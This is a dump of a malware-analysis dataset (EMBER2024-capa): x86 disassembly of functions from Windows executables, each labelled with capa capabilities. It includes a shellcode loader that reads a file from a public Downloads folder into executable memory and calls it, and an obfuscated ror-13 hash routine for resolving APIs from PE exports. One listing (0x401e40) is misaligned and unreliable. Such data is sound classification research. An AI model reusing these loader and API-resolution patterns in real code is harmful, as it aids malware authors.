joyce8/EMBER2024-capa huggingface dataset:
Function at 0x464870
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x88
mov eax, dword [0x4c100c]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push ebp
mov ebp, dword [esp + 0x94]
lea eax, [esp + 8]
push esi
push edi
push eax
mov esi, dword [ebp + 0x4e8]
lea eax, [esp + 0x18]
mov edi, dword [ebp]
push eax
mov dword [esp + 0x18], 0x80
mov eax, dword [esi + 0x154]
push 0
add eax, 4
push eax
push dword [esi + 0x15c]
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [esi + 0x148], 0
mov dword [esi + 0x14c], eax
jne 0x4648f6
push dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
lea eax, [esi + 0xc8]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x1c]
add esp, 0xc
mov dword [esi + 0x148], eax
mov edx, dword [esi + 0x14c]
cmp edx, 4
jge 0x464931
push str.Received_too_short_packet
push edi
call fcn.0044ba10
add esp, 8
mov dword [esi + 0xc], 7
xor eax, eax
mov ecx, dword [esp + 0x94]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00439578
add esp, 0x88
ret
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 1]
movzx eax, byte [eax]
shl eax, 8
or ecx, eax
mov dword [esi + 0xc], ecx
add ecx, 0xfffffffd
cmp ecx, 3
ja case.default.0x464952
jmp dword [ecx*4 + 0x464a5c]
cmp edx, 4
jle case.0x464952.4
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
movzx eax, word [esi + 0x40]
inc eax
movzx eax, ax
cmp eax, ecx
jne case.0x464952.4
lea eax, [edx - 4]
push eax
mov eax, dword [esi + 0x15c]
add eax, 4
push eax
push 1
push ebp
call fcn.0044b8f0
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4649b6
push 5
push esi
call fcn.004651c0
add esp, 8
mov eax, ebx
jmp 0x464918
mov eax, dword [esi + 0x14c]
sub eax, 4
cdq
add dword [edi + 0x70], eax
adc dword [edi + 0x74], edx
push dword [edi + 0x74]
push dword [edi + 0x70]
push edi
call fcn.00457980
jmp 0x464a31
mov eax, dword [esi + 0x15c]
movzx ecx, byte [eax + 2]
movzx eax, byte [eax + 3]
shl ecx, 8
or ecx, eax
mov eax, dword [esi + 0x15c]
add eax, 4
mov dword [esi + 8], ecx
push eax
push 0x4a1818
push edi
call fcn.0044bae0
jmp 0x464a31
lea eax, [edx - 2]
push eax
mov eax, dword [esi + 0x15c]
add eax, 2
push eax
push esi
call fcn.00464600
add esp, 0xc
test eax, eax
je case.0x464952.4
jmp 0x464918
push str.Internal_error:_Unexpected_packet
push 0x4a2390
push edi
call fcn.0044ba10
add esp, 0xc
push ebp
call fcn.00457be0
add esp, 4
test eax, eax
je 0x464916
push 5
push esi
call fcn.004651c0
add esp, 8
mov eax, 0x2a
jmp 0x464918
Function at 0x46bb80
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x108
mov eax, dword [0x4c100c]
xor eax, esp
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0x10c]
push eax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
add esp, 4
mov byte [esp], 0
test eax, eax
je 0x46bbe5
push 0x104
lea ecx, [esp + 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
cmp byte [esp], 0
je 0x46bbe5
lea eax, [esp]
push eax
call dword [0x4c1030]
add esp, 4
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.00439578
add esp, 0x108
ret
mov ecx, dword [esp + 0x104]
xor eax, eax
xor ecx, esp
call fcn.00439578
add esp, 0x108
ret
Function at 0x46f6a0
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov eax, dword [esi]
cmp dword [eax + 4], 2
jne 0x46f6cb
mov ecx, dword [esi + 0xc]
test ecx, ecx
jne 0x46f6ba
pop edi
xor eax, eax
pop esi
ret
push dword [eax + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call ecx
jmp 0x46f700
cmp dword [esi + 8], 0
jne 0x46f6ee
push 0x4a1a7c
push dword [eax + 8]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fopen
add esp, 8
mov dword [esi + 8], eax
test eax, eax
jne 0x46f6ee
pop edi
or eax, 0xffffffff
pop esi
ret
push dword [esi + 8]
push dword [esp + 0x18]
push 1
push dword [esp + 0x1c]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
mov edi, eax
add esp, 0x10
test edi, edi
jne 0x46f722
mov eax, dword [esi + 8]
test eax, eax
je 0x46f71c
push eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
add esp, 4
mov dword [esi + 8], edi
mov eax, dword [esi]
mov eax, dword [eax]
mov dword [esi], eax
mov eax, edi
pop edi
pop esi
ret

Function at 0x473a10
Capabilities:
Hash data using md4
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov esi, ebx
push edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x473a20
sub esi, ecx
lea ebp, [esi + esi]
push ebp
call dword [0x4c1024]
mov edi, eax
add esp, 4
test edi, edi
jne 0x473a47
lea eax, [edi + 0x1b]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor ecx, ecx
test esi, esi
je 0x473a60
nop dword [eax]
mov al, byte [ecx + ebx]
mov byte [edi + ecx*2], al
mov byte [edi + ecx*2 + 1], 0
inc ecx
cmp ecx, esi
jb 0x473a50
push 0xf0000000
push 1
push 0
push 0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, dword [esp + 0x28]
test eax, eax
je 0x473ada
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x8002
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x473ace
push 0
push ebp
push edi
push dword [esp + 0x1c]
mov dword [esp + 0x28], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [esp + 0x1c]
push eax
push esi
push 2
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov dword [esi + 0x10], 0
push edi
mov byte [esi + 0x14], 0
call dword [0x4c1028]
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x473b00
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
sub esp, 0x24
mov eax, dword [0x4c100c]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov esi, dword [esp + 0x30]
lea eax, [esp + 4]
push edi
mov edi, dword [esp + 0x38]
push 0xf0000000
push 1
push 0
push 0
push eax
mov dword [esp + 0x20], 8
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x473ba4
lea eax, [esp + 0x20]
mov dword [esp + 0x24], 0
push eax
xorps xmm0, xmm0
movups xmmword [esp + 0x18], xmm0
push edi
mov word [esp + 0x1c], 0x208
mov dword [esp + 0x20], 0x6601
mov dword [esp + 0x24], 8
call fcn.00473c10
lea eax, [esp + 0x28]
push 8
push eax
call fcn.00478a50
add esp, 0x10
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0x14
lea eax, [esp + 0x24]
push eax
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x473bb7
push eax
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
xor al, al
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00439578
add esp, 0x24
ret
mov ecx, dword [esp + 0x30]
push dword [esp + 0xc]
mov eax, dword [ecx]
mov dword [esi], eax
mov eax, dword [ecx + 4]
mov dword [esi + 4], eax
lea eax, [esp + 0x10]
push eax
push esi
push 0
push 0
push 0
push dword [esp + 0x28]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [esp + 0x28]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.00439578
add esp, 0x24
ret
Function at 0x4794f0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
push edi
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x14]
lea eax, [eax + ecx*2]
add eax, 0xc
push eax
call dword [0x4c1024]
mov edi, eax
add esp, 4
test edi, edi
jne 0x479517
pop edi
pop esi
pop ecx
ret
lea ecx, [edi + 0xc]
mov dword [edi], esi
mov dword [edi + 4], ecx
mov eax, dword [esi + 0xc]
add eax, ecx
push ebx
mov ebx, dword [esp + 0x1c]
mov dword [edi + 8], eax
push ebp
cmp ebx, dword [esi + 0x10]
jbe 0x47955f
mov eax, dword [esi]
push ecx
call eax
mov eax, dword [esi + 4]
push ebx
push dword [esp + 0x24]
push dword [edi + 4]
call eax
mov ebp, dword [edi + 8]
push dword [edi + 4]
add ebp, dword [esi + 0xc]
mov eax, dword [esi + 8]
push ebp
call eax
mov ebx, dword [esi + 0x14]
add esp, 0x18
mov dword [esp + 0x20], ebx
jmp 0x479563
mov ebp, dword [esp + 0x1c]
push dword [edi + 4]
mov eax, dword [esi]
call eax
push dword [edi + 8]
mov eax, dword [esi]
call eax
mov eax, dword [esp + 0x28]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x4795c5
mov dword [esp + 0x10], eax
mov ebx, eax
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x18], al
lea eax, [esp + 0x18]
push 1
push eax
push dword [edi + 4]
mov eax, dword [esi + 4]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x24], al
lea eax, [esp + 0x24]
push 1
push eax
push dword [edi + 8]
mov eax, dword [esi + 4]
call eax
add esp, 0x18
sub ebx, 1
jne 0x479584
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0x10]
jae 0x4795f7
nop word [eax + eax]
mov eax, dword [esi + 4]
push 1
push 0x4ad5f0
push dword [edi + 4]
call eax
mov eax, dword [esi + 4]
push 1
push 0x4ad5f1
push dword [edi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [esi + 0x10]
jb 0x4795d0
pop ebp
pop ebx
mov eax, edi
pop edi
pop esi
pop ecx
ret

Function at 0x47e468
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x401e40
Capabilities:
Terminate process

Disassembly:
add al, 0x64
mov byte [edx], al
inc ecx
add byte [ebp - 0x10f38b40], al
fisttp word [ebx + 0x5e5f006a]
pop ebx
mov esp, dword [ebx]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, dword [ebp + 0xc]
push esi
lea eax, [ebp - 0x78]
push 0x78
push eax
push esi
call fcn.004086e0
sbb cl, byte [ebp + 8]
mov edx, dword [sym.imp.MSVCRT.dll__iob]
push eax
push ecx
add edx, 0x40
push 0xcbd4ac
push edx
call dword [0x1740c180]
mov eax, dword [0xb24102ac]
add esp, 0x14
test dword [ebx], ebp
je 0x401e12
push eax
push 0xf789d254
call dword [0x3740c164]
xchg dword [edi + 8], ecx
push esi
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
nop
nop
nop
nop
not byte [eax - 0x6f6fb070]
invalid
nop

Function at 0x40a660
Capabilities:
Resolve function by parsing pe exports

Disassembly:
movzx ecx, word [edx + 0x26]
mov esi, dword [edx + 0x28]
xor edi, edi
nop
nop
jmp 0x40a55c
xor eax, eax
nop
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40a57f
jmp 0x40a570
nop
jmp 0x40a57c
sub al, 0x20
nop
ror edi, 0xd
nop
add edi, eax
nop
dec ecx
jne 0x40a54f
nop
push edx
nop
push edi
nop
jmp 0x40a59f
mov edx, dword [edx + 0x10]
mov eax, dword [edx + 0x3c]
add eax, edx
nop
jmp 0x40a5b5
mov eax, dword [eax + 0x78]
test eax, eax
nop
jmp 0x40a5c7
je 0x40a784
nop
jmp 0x40a5db
add eax, edx
nop
jmp 0x40a5ea
push eax
nop
jmp 0x40a5fb
mov ecx, dword [eax + 0x18]
nop
jmp 0x40a60c
mov ebx, dword [eax + 0x20]
nop
add ebx, edx
nop
jmp 0x40a61e
test ecx, ecx
je 0x40a771
nop
jmp 0x40a636
jmp 0x40a640
xor edi, edi
nop
jmp 0x40a651
dec ecx
jmp fcn.0040a660
mov esi, dword [ebx + ecx*4]
jmp 0x40a672
add esi, edx
nop
xor eax, eax
jmp 0x40a684
lodsb al, byte [esi]
nop
jmp 0x40a690
ror edi, 0xd
nop
add edi, eax
nop
cmp al, ah
nop
jne 0x40a675
nop
nop
jmp 0x40a6b1
add edi, dword [ebp - 8]
nop
cmp edi, dword [ebp + 0x24]
nop
jne 0x40a612
pop eax
mov ebx, dword [eax + 0x24]
jmp 0x40a6d4
add ebx, edx
nop
jmp 0x40a6e6
mov cx, word [ebx + ecx*2]
mov ebx, dword [eax + 0x1c]
nop
jmp 0x40a6fc
add ebx, edx
mov eax, dword [ebx + ecx*4]
jmp 0x40a70d
add eax, edx
nop
jmp 0x40a71f
mov dword [esp + 0x24], eax
jmp 0x40a730
pop ebx
nop
pop ebx
popal
nop
pop ecx
nop
jmp 0x40a747
pop edx
nop
jmp 0x40a75c
push ecx
nop
jmp eax
nop
jmp 0x40a783
pop eax
nop
pop edi
nop
jmp 0x40a79a
pop edx
mov edx, dword [edx]
jmp 0x40a7ab
jmp 0x40a545
Function at 0x401000
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 4], 0
mov dword [ebp - 0x130], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 8]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401070
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.0041c3d2
add esp, 8
test eax, eax
jne 0x40105c
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 4], ecx
jmp 0x401070
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40103a
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401520
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0x80
push 4
push 0
push 1
push SysReAllocString
push str.C:UsersPublicDownloadsdava
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
push 0x40
push 0x1000
mov ecx, dword [ebp - 0xc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x10]
call eax
popal
push esi
push edi
pop eax
pop eax
pop eax
add esp, 0x13
pop eax
mov dword fs:[0], eax
pop eax
pop eax
pop eax
pop eax
mov ebp, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4015c0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x4015ea
mov ecx, dword [ebp - 4]
and ecx, 0x10
jne 0x4015ea
mov dword [ebp - 8], 1
jmp 0x4015f1
mov dword [ebp - 8], 0
mov al, byte [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x401600
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [ebp + 0xc]
push eax
push str.C:UsersPublicDownloads_s
push 0xffffffffffffffff
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.0040aee9
add esp, 0x14
push 0x104
lea edx, [ebp - 0x108]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x210]
push eax
call fcn.004015c0
add esp, 4
movzx ecx, al
test ecx, ecx
je 0x401654
jmp 0x401667
push 0
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esp, ebp
pop ebp
ret
Function at 0x404eb0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f5b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4c
push esi
mov dword [ebp - 0x54], ecx
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x44], 0
je 0x404ee3
mov ecx, dword [ebp - 0x54]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x404eef
mov al, 1
jmp 0x405092
mov dword [ebp - 0x10], 8
call fcn.00402ab0
push eax
mov eax, dword [ebp - 0x54]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x54]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x38], eax
call fcn.00402ab0
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x3c]
push edx
call fcn.00402a90
add esp, 8
movzx eax, al
test eax, eax
je 0x404f32
xor al, al
jmp 0x405092
push 0
push 8
lea ecx, [ebp - 0x30]
call fcn.004041d0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x40]
push edx
lea ecx, [ebp - 0x30]
call fcn.00404370
mov ecx, eax
call fcn.00405190
mov esi, eax
lea ecx, [ebp - 0x30]
call fcn.00405430
add esi, eax
push esi
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x30]
call fcn.00404370
mov ecx, eax
call fcn.00405190
push eax
mov ecx, dword [ebp - 0x54]
add ecx, 0x4c
push ecx
mov edx, dword [ebp - 0x54]
mov ecx, dword [edx + 0x44]
call fcn.00405c00
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
je 0x404fad
cmp dword [ebp - 0x58], 1
je 0x404fb4
cmp dword [ebp - 0x58], 3
je 0x40504e
jmp 0x405066
mov eax, dword [ebp - 0x54]
mov byte [eax + 0x49], 0
lea ecx, [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x30]
call fcn.00404370
mov ecx, eax
call fcn.00405190
mov edx, dword [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x34], edx
je 0x405017
mov eax, dword [ebp - 0x54]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x34]
push edx
push 1
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x30]
call fcn.00404370
mov ecx, eax
call fcn.00405190
push eax
call fcn.0040b65d
add esp, 0x10
cmp dword [ebp - 0x34], eax
je 0x405017
mov byte [ebp - 0x4d], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004037b0
mov al, byte [ebp - 0x4d]
jmp 0x405092
mov ecx, dword [ebp - 0x54]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x40503a
mov byte [ebp - 0x4e], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004037b0
mov al, byte [ebp - 0x4e]
jmp 0x405092
cmp dword [ebp - 0x34], 0
jne 0x40504c
push 0
push 8
lea ecx, [ebp - 0x30]
call fcn.00404240
jmp 0x40507e
mov byte [ebp - 0x4f], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004037b0
mov al, byte [ebp - 0x4f]
jmp 0x405092
mov byte [ebp - 0x50], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.004037b0
mov al, byte [ebp - 0x50]
jmp 0x405092
jmp 0x404f45
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c9aa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426830]
jne 0x40c9b4
repz ret
jmp fcn.0041446c
Function at 0x41b253
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426830]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040f53f
and dword [ebp - 0x14], 0
cmp dword [0x428974], 0
mov dword [ebp - 0x18], eax
jne 0x41b306
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41b3ae
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x41b3ae
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x428974], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x428978], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42897c], eax
call edi
push eax
call esi
mov dword [0x428984], eax
test eax, eax
je 0x41b306
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x428980], eax
mov eax, dword [0x428980]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x41b35f
cmp dword [0x428984], ecx
je 0x41b35f
push eax
call esi
push dword [0x428984]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x41b35f
test ebx, ebx
je 0x41b35f
call edi
test eax, eax
je 0x41b356
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41b356
test byte [ebp - 8], 1
jne 0x41b35f
or dword [ebp + 0x10], 0x200000
jmp 0x41b392
mov eax, dword [0x428978]
cmp eax, dword [ebp - 0x18]
je 0x41b392
push eax
call esi
test eax, eax
je 0x41b392
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41b392
mov eax, dword [0x42897c]
cmp eax, dword [ebp - 0x18]
je 0x41b392
push eax
call esi
test eax, eax
je 0x41b392
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x428974]
call esi
test eax, eax
je 0x41b3ae
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41b3b0
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040c9aa
leave
ret
Function at 0x4014c0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x431a5a
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x43fd18]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x20], ecx
mov byte [ebp - 0x11], 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str._CDirPath::MakeDir__Path__s
push 4
call fcn.00428c80
add esp, 0xc
mov ecx, dword [ebp + 8]
call fcn.00401f10
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x4015b3
lea edx, [ebp - 0x18]
push edx
call fcn.004018d0
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
push edx
push str._CDirPath::MakeDir__Attributes__0xFFFFFFFF__error_message___s
push 4
call fcn.00428c80
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401e90
push 0
mov ecx, dword [ebp + 8]
call fcn.00401f10
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp eax, 1
jne 0x401576
mov byte [ebp - 0x11], 1
jmp 0x4015b1
lea eax, [ebp - 0x1c]
push eax
call fcn.004018d0
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 4], 1
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
push eax
push str._CDirPath::MakeDir__Failed_to_create_directory_error_message___s
call fcn.00428d80
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00401e90
jmp 0x4015ce
mov ecx, dword [ebp - 0x10]
and ecx, 0x10
je 0x4015ce
push str._CDirPath::MakeDir__Dir_already_exists
push 4
call fcn.00428c80
add esp, 8
mov byte [ebp - 0x11], 1
mov al, byte [ebp - 0x11]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x405cf0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4320e7
mov eax, dword fs:[0]
push eax
sub esp, 0xbc
mov eax, dword [0x43fd18]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x9c
push 0
lea eax, [ebp - 0xb4]
push eax
call fcn.00414900
add esp, 0xc
mov dword [ebp - 0xb4], 0x9c
lea ecx, [ebp - 0xb4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xb5], al
movzx edx, byte [ebp - 0xb5]
test edx, edx
jne 0x405e0c
mov dword [ebp - 0xb4], 0x94
lea eax, [ebp - 0xb4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x405e0c
lea ecx, [ebp - 0xbc]
call fcn.00401dd0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xc0]
call fcn.00401dd0
mov byte [ebp - 4], 1
push 0x6e
push 0
lea ecx, [ebp - 0xbc]
call fcn.00401ff0
push 0x6c
push 0
lea ecx, [ebp - 0xc0]
call fcn.00401ff0
push 0
lea ecx, [ebp - 0xbc]
call fcn.00401f10
push eax
lea ecx, [ebp - 0xc0]
call fcn.00401f10
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 0xa4], 1
jne 0x405ea3
lea ecx, [ebp - 0xc4]
call fcn.00401dd0
mov dword [ebp - 4], 2
lea ecx, [ebp - 0xc8]
call fcn.00401dd0
mov byte [ebp - 4], 3
push 0x6e
push 0
lea ecx, [ebp - 0xc4]
call fcn.00401ff0
push 0x70
push 0
lea ecx, [ebp - 0xc8]
call fcn.00401ff0
push 0
lea ecx, [ebp - 0xc4]
call fcn.00401f10
push eax
lea ecx, [ebp - 0xc8]
call fcn.00401f10
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004148ef
mov esp, ebp
pop ebp
ret